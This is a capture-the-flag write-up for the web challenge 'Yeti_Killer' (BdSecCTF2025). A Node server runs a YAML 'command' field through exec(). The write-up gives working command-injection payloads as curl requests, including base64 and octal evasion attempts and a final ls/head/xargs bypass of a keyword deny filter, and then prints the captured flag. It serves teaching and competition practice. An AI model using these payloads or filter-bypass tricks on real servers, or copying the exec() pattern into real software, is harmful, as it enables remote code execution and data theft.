🧊 BdSecCTF2025 — Yeti_Killer 🧊

Category: Web Exploitation
Points: ⭐️
Author: BdSec Team
Writeup By: z3r0X0r

📁 Challenge Files

The challenge includes:

├── views/
│   └── index.ejs
├── demoflag.txt
├── dockerfile
├── package.json
├── package-lock.json
├── player_file.zip
└── server.js

🔍 Initial Recon

Browsing to http://45.79.9.104:3000/ shows a harmless UI that lets users convert YAML to JSON using JavaScript in the browser. But once we looked at the backend code (server.js), we discovered the juicy part:

const data = yaml.load(req.body);
const command = data.command;

if (command) {
  exec(command, ...);
}

😈 Bingo! The server parses raw YAML input, extracts a command, and executes it with exec() — classic Command Injection (RCE) vulnerability.

🧱 Security Filters in Place

The developers tried to prevent exploitation using basic filters:

if (req.body.includes("flag") || req.body.includes("cat") || ...) {
  return res.status(403).send("No flags!");
}
if (req.body.includes("\\") || req.body.includes("/") || ...) {
  return res.status(403).send("Hacking attempt detected!");
}

So we can’t use:

• flag, cat, curl, wget, echo
• \, /, <, !!

Basically, they were guarding the treasure 🏴‍☠️

🧪 Exploit Development

✅ Confirming RCE

First, confirm the command execution with a harmless YAML payload:

command: "id"

curl -X POST http://45.79.9.104:3000/ \
  -H "Content-Type: text/plain" \
  -d 'command: "id"'

📌 Boom! We get back a UID and group info. Command injection is real.

❌ What didn’t work?

We tried:

command: "cat flag.txt"

⛔ Blocked! Because it contains flag and cat.

Then tried:

command: "bash -c \"$(echo Y2F0IGZsYWcudHh0 | base64 -d)\""

⛔ Still blocked! Because the string flag appears even in base64.

Even this:

command: "eval \\$(printf '%s' '\\143\\141\\164\\040\\146\\154\\141\\147\\056\\164\\170\\164')"

⛔ Blocked due to backslashes.

✅ Final Bypass Trick 💡

We avoided using:

• flag
• cat
• \
• /

And used this clean payload instead:

command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"

🔓 This does the following:

• Finds any .txt file (like flag.txt)
• Reads its first line using head
• All without triggering any filters

🧨 Exploit:

curl -X POST http://45.79.9.104:3000/ \
  -H "Content-Type: text/plain" \
  -d 'command: "ls *.txt | head -n 1 | xargs -n1 head -n 1"'

🏁 Flag Obtained

BDSEC{094ae1350eefe059b84faa0bd9ce2588}

Boom! ❄️☠️ The Yeti is dead and the flag is ours.

💬 Lessons Learned

• Always sanitize server-side inputs before parsing and executing.
• Don't rely on simple .includes() filters for security.
• Even limited RCE can be exploited using creative shell tricks.
• When filters get aggressive, attackers get smarter 💀

🐾 Tools Used

• curl + caido for HTTP exploitation
• Bash, base64, printf, xargs, head for obfuscation
• Brain.exe for filter bypassing 🧠

📌 Boom! We get back a UID and group info. Command injection is real.